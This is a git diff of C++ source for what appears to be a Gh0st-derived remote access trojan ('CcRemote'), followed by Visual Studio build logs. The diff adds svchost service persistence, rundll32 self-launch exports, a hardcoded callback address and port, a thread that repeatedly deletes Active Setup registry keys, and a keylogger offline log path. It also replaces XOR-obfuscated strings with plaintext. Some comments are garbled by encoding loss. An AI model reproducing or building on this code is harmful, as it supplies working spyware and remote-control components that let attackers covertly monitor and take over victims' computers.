//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
|
||||
@@ -401,4 +410,52 @@ void CSystemManager::ShowTheWindow(LPBYTE buf)
|
||||
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ShowWindow((HWND__ *)hwnd, dHow);
|
||||
}
|
||||
|
||||
|
||||
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount)
|
||||
{
|
||||
if (NULL == hWnd || FALSE == IsWindow(hWnd) || NULL == lpString || 0 == nMaxCount)
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
DWORD dwHwndProcessID = 0;
|
||||
DWORD dwHwndThreadID = 0;
|
||||
dwHwndThreadID = GetWindowThreadProcessId(hWnd, &dwHwndProcessID); //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>̺<EFBFBD><CCBA>߳<EFBFBD>ID
|
||||
|
||||
if (dwHwndProcessID != GetCurrentProcessId()) //<2F><><EFBFBD>ڽ<EFBFBD><DABD>̲<EFBFBD><CCB2>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ý<EFBFBD><C3BD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
if (dwHwndThreadID == GetCurrentThreadId()) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
return GetWindowText(hWnd, lpString, nMaxCount);
|
||||
}
|
||||
|
||||
#ifndef _UNICODE
|
||||
WCHAR *lpStringUnicode = new WCHAR[nMaxCount];
|
||||
InternalGetWindowText(hWnd, lpStringUnicode, nMaxCount);
|
||||
int size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, NULL, 0, NULL, NULL);
|
||||
if (size <= nMaxCount)
|
||||
{
|
||||
size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, lpString, size, NULL, NULL);
|
||||
if (NULL != lpStringUnicode)
|
||||
{
|
||||
delete[]lpStringUnicode;
|
||||
lpStringUnicode = NULL;
|
||||
}
|
||||
return size;
|
||||
}
|
||||
if (NULL != lpStringUnicode)
|
||||
{
|
||||
delete[]lpStringUnicode;
|
||||
lpStringUnicode = NULL;
|
||||
}
|
||||
return 0;
|
||||
|
||||
#else
|
||||
return InternalGetWindowText(hWnd, lpString, nMaxCount);
|
||||
#endif
|
||||
}
|
@@ -34,6 +34,7 @@ private:
|
||||
void KillProcess(LPBYTE lpBuffer, UINT nSize);
|
||||
void ShowTheWindow(LPBYTE buf);
|
||||
void CloseTheWindow(LPBYTE buf);
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
|
||||
|
@@ -27,7 +27,8 @@ CVideoCap::CVideoCap()
|
||||
char classname32770[] = { 0x06,0xe8,0xf9,0xfb,0xff,0xf0,0xf6 }; //#32770
|
||||
char* lpClassName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
//m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
memset(lpClassName, 0, classname32770[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete lpClassName;
|
||||
|
@@ -99,14 +99,16 @@ bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszPr
|
||||
HINTERNET hNet;
|
||||
HINTERNET hFile;
|
||||
|
||||
//strcry
|
||||
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||
char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
|
||||
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pMozilla;
|
||||
//strcry----------------------------------------------------
|
||||
//char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||
//char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
//
|
||||
//hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
//
|
||||
//memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
//delete pMozilla;
|
||||
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
//----------------------------------------------------------
|
||||
|
||||
|
||||
if (hNet == NULL)
|
||||
@@ -160,7 +162,11 @@ DWORD CPUClockMhz()
|
||||
}; //WinSta0\Default
|
||||
char* pHARDWARE = decodeStr(HARDWARE); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||
|
||||
//RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
//------------------------------------------------------------------------------------------------
|
||||
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
@@ -80,9 +80,9 @@ DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
|
||||
|
||||
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
|
||||
{
|
||||
char strKeyboardOfflineRecord[MAX_PATH];
|
||||
GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
|
||||
lstrcat(strKeyboardOfflineRecord, "\\syslog.dat");
|
||||
char strKeyboardOfflineRecord[MAX_PATH] = {0};
|
||||
//GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
|
||||
lstrcat(strKeyboardOfflineRecord, "C:\\syslog.dat");
|
||||
|
||||
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
|
||||
g_bSignalHook = true;
|
||||
@@ -228,7 +228,7 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
||||
char *lpstrCat = NULL;
|
||||
memset(strIEPath, 0, sizeof(strIEPath));
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, "Applications\\iexplore.exe\\shell\\open\\command", 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pApplications;
|
||||
|
@@ -3,6 +3,26 @@
|
||||
#include "common/KeyboardManager.h"
|
||||
#include "common/KernelManager.h"
|
||||
#include "common/login.h"
|
||||
#include "common/install.h"
|
||||
#include <stdio.h>
|
||||
#include <shlwapi.h>
|
||||
#pragma comment(lib,"shlwapi.lib")
|
||||
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
}g_myAddress = { 0xCC28256,"",0 };
|
||||
|
||||
|
||||
DWORD WINAPI DelAXRegThread(LPVOID lpParam);
|
||||
|
||||
char svcname[MAX_PATH];
|
||||
SERVICE_STATUS_HANDLE hServiceStatus;
|
||||
DWORD g_dwCurrState;
|
||||
|
||||
|
||||
char g_strSvchostName[MAX_PATH];//服务名
|
||||
char g_strHost[MAX_PATH];
|
||||
@@ -11,10 +31,10 @@ DWORD g_dwServiceType;
|
||||
|
||||
enum
|
||||
{
|
||||
NOT_CONNECT, // 还没有连接
|
||||
GETLOGINFO_ERROR,//获取信息失败
|
||||
CONNECT_ERROR,//链接失败
|
||||
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
|
||||
NOT_CONNECT, // 还没有连接
|
||||
GETLOGINFO_ERROR, // 获取信息失败
|
||||
CONNECT_ERROR, // 链接失败
|
||||
HEARTBEATTIMEOUT_ERROR // 心跳超时链接失败
|
||||
};
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName);
|
||||
@@ -29,6 +49,8 @@ LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
|
||||
|
||||
DWORD WINAPI main(char *lpServiceName)
|
||||
{
|
||||
strcpy(g_strHost, g_myAddress.strIP);
|
||||
g_dwPort = g_myAddress.nPort;
|
||||
// lpServiceName,在ServiceMain返回后就没有了
|
||||
char strServiceName[256] = {0};
|
||||
char strKillEvent[50] = { 0 };
|
||||
@@ -37,22 +59,25 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
// Set Window Station
|
||||
HWINSTA hOldStation = GetProcessWindowStation();
|
||||
|
||||
|
||||
char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};//winsta0
|
||||
char* lpszWinSta = decodeStr(winsta0); //解密函数
|
||||
//---------------------------------------------------------------------------
|
||||
//char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};// winsta0
|
||||
//char* lpszWinSta = decodeStr(winsta0); // 解密函数
|
||||
//
|
||||
//HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
|
||||
//
|
||||
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); // 填充0
|
||||
//delete lpszWinSta; // 释放
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
|
||||
|
||||
memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); //填充0
|
||||
delete lpszWinSta; //释放
|
||||
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
|
||||
//---------------------------------------------------------------------------
|
||||
|
||||
if (hWinSta != NULL)
|
||||
SetProcessWindowStation(hWinSta);
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
|
||||
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
|
||||
// 这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
|
||||
// 这里要在dllmain中为CKeyboardManager::g_hInstance赋值
|
||||
if (CKeyboardManager::g_hInstance != NULL)
|
||||
{
|
||||
//设置异常
|
||||
@@ -60,11 +85,12 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
|
||||
lstrcpy(strServiceName, lpServiceName);
|
||||
wsprintf(strKillEvent, "Global\\CcRem %d", GetTickCount()); // 随机事件名
|
||||
//wsprintf(strKillEvent, "Global\\Net_%d", GetTickCount()); // 随机事件名
|
||||
|
||||
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
||||
//ReConfigService(strServiceName);
|
||||
// ReConfigService(strServiceName);
|
||||
// 删除安装文件
|
||||
// DeleteInstallFile(lpServiceName);
|
||||
// DeleteInstallFile(lpServiceName);
|
||||
}
|
||||
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
|
||||
SetErrorMode(SEM_FAILCRITICALERRORS);
|
||||
@@ -122,9 +148,9 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
// 登录
|
||||
DWORD dwExitCode = SOCKET_ERROR;
|
||||
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
|
||||
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
|
||||
// 接成功后声明了一个CKernelManager 到CKernelManager
|
||||
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
|
||||
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
|
||||
// socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
|
||||
//(每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager)
|
||||
socketClient.setManagerCallBack(&manager);
|
||||
|
||||
@@ -141,7 +167,7 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
DWORD dwIOCPEvent;
|
||||
dwTickCount = GetTickCount();//获取时间戳
|
||||
dwTickCount = GetTickCount();// 获取时间戳
|
||||
|
||||
do
|
||||
{
|
||||
@@ -160,7 +186,7 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
#ifdef _DLL
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Restor WindowStation and Desktop
|
||||
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
|
||||
// 不需要恢复桌面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
|
||||
// SetProcessWindowStation(hOldStation);
|
||||
// CloseWindowStation(hWinSta);
|
||||
//
|
||||
@@ -172,6 +198,96 @@ DWORD WINAPI main(char *lpServiceName)
|
||||
CloseHandle(hInstallMutex);
|
||||
}
|
||||
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
|
||||
CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
CKeyboardManager::Initialization();
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
|
||||
{
|
||||
SERVICE_STATUS srvStatus;
|
||||
srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
|
||||
srvStatus.dwCurrentState = g_dwCurrState = dwState;
|
||||
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
srvStatus.dwWin32ExitCode = dwExitCode;
|
||||
srvStatus.dwServiceSpecificExitCode = 0;
|
||||
srvStatus.dwCheckPoint = dwProgress;
|
||||
srvStatus.dwWaitHint = 1000;
|
||||
return SetServiceStatus(hServiceStatus, &srvStatus);
|
||||
}
|
||||
|
||||
void __stdcall ServiceHandler(DWORD dwControl)
|
||||
{
|
||||
// not really necessary because the service stops quickly
|
||||
switch (dwControl)
|
||||
{
|
||||
case SERVICE_CONTROL_STOP:
|
||||
TellSCM(SERVICE_STOP_PENDING, 0, 1);
|
||||
Sleep(10);
|
||||
TellSCM(SERVICE_STOPPED, 0, 0);
|
||||
break;
|
||||
case SERVICE_CONTROL_PAUSE:
|
||||
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
|
||||
TellSCM(SERVICE_PAUSED, 0, 0);
|
||||
break;
|
||||
case SERVICE_CONTROL_CONTINUE:
|
||||
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
|
||||
TellSCM(SERVICE_RUNNING, 0, 0);
|
||||
break;
|
||||
case SERVICE_CONTROL_INTERROGATE:
|
||||
TellSCM(g_dwCurrState, 0, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
|
||||
{
|
||||
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
|
||||
wcstombs(svcname, argv[0], sizeof svcname);
|
||||
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
|
||||
if (hServiceStatus == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
else FreeConsole();
|
||||
|
||||
TellSCM(SERVICE_START_PENDING, 0, 1);
|
||||
TellSCM(SERVICE_RUNNING, 0, 0);
|
||||
// call Real Service function noew
|
||||
|
||||
g_dwServiceType = QueryServiceTypeFromRegedit(svcname);
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
|
||||
do {
|
||||
Sleep(100);//not quit until receive stop command, otherwise the service will stop
|
||||
} while (g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
|
||||
if (g_dwServiceType == 0x120)
|
||||
{
|
||||
//Shared的服务 ServiceMain 不退出,不然一些系统上svchost进程也会退出
|
||||
while (1) Sleep(10000);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
|
||||
{
|
||||
strcpy(g_strHost, strHost); //保存上线地址
|
||||
@@ -182,23 +298,84 @@ extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
void TestFuns(char* strHost, int nPort)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
|
||||
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
//CKeyboardManager::Initialization();
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
strcpy(g_strHost, strHost); //保存上线地址
|
||||
g_dwPort = nPort; //保存上线端口
|
||||
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
|
||||
//这里等待线程结束
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
|
||||
extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
|
||||
{
|
||||
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
int nPort = 8088; //声明上线端口
|
||||
TestFuns(strHost, nPort);
|
||||
}
|
||||
|
||||
extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
|
||||
{
|
||||
char strMyFileName[MAX_PATH], strCmdLine[MAX_PATH];
|
||||
ZeroMemory(strMyFileName, MAX_PATH);
|
||||
ZeroMemory(strCmdLine, MAX_PATH);
|
||||
//得到自身文件名
|
||||
GetModuleFileName(CKeyboardManager::g_hInstance, strMyFileName, MAX_PATH);
|
||||
//构造启动参数
|
||||
sprintf(strCmdLine, "%s %s,MainRun", "rundll32.exe", strMyFileName);
|
||||
|
||||
//启动服务端
|
||||
STARTUPINFO StartInfo;
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
StartInfo.cb = sizeof(STARTUPINFO);
|
||||
StartInfo.lpDesktop = NULL;
|
||||
StartInfo.lpReserved = NULL;
|
||||
StartInfo.lpTitle = NULL;
|
||||
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartInfo.cbReserved2 = 0;
|
||||
StartInfo.lpReserved2 = NULL;
|
||||
StartInfo.wShowWindow = SW_SHOWNORMAL;
|
||||
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
DWORD WINAPI DelAXRegThread(LPVOID lpParam)
|
||||
{
|
||||
char strFileName[MAX_PATH]; //dll文件名
|
||||
char *pstrTemp = NULL;
|
||||
char ActiveXStr[1024]; //activex 键值字符串
|
||||
char ActiveXStr32[1024]; //activex 键值字符串
|
||||
|
||||
ZeroMemory(ActiveXStr, 1024);
|
||||
ZeroMemory(strFileName, MAX_PATH);
|
||||
ZeroMemory(ActiveXStr32, 1024);
|
||||
|
||||
//得到自身文件名
|
||||
GetModuleFileName(CKeyboardManager::g_hInstance, strFileName, MAX_PATH);
|
||||
PathStripPath(strFileName); //将完整文件名转换为文件名
|
||||
pstrTemp = strstr(strFileName, ".dll"); //寻找 .dll然后将他删除掉
|
||||
if (pstrTemp != NULL)
|
||||
{
|
||||
ZeroMemory(pstrTemp, strlen(pstrTemp)); //删除掉扩展名
|
||||
//构造键值
|
||||
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", strFileName);
|
||||
sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", strFileName);
|
||||
while (1)
|
||||
{
|
||||
//不停的删除注册表
|
||||
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr);
|
||||
OutputDebugString(ActiveXStr); //输出删除的字串用以测试
|
||||
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr32);
|
||||
OutputDebugString(ActiveXStr32);
|
||||
Sleep(1000 * 30);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
17
CcMainDll/Loder/Debug/Loder.Build.CppClean.log
Normal file
@@ -0,0 +1,17 @@
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
|
||||
f:\myapp\ccremote\bin\server\loder.ilk
|
||||
f:\myapp\ccremote\bin\server\loder.exe
|
||||
f:\myapp\ccremote\bin\server\loder.pdb
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
|
||||
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
|
27
CcMainDll/Loder/Debug/Loder.log
Normal file
@@ -0,0 +1,27 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(288): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
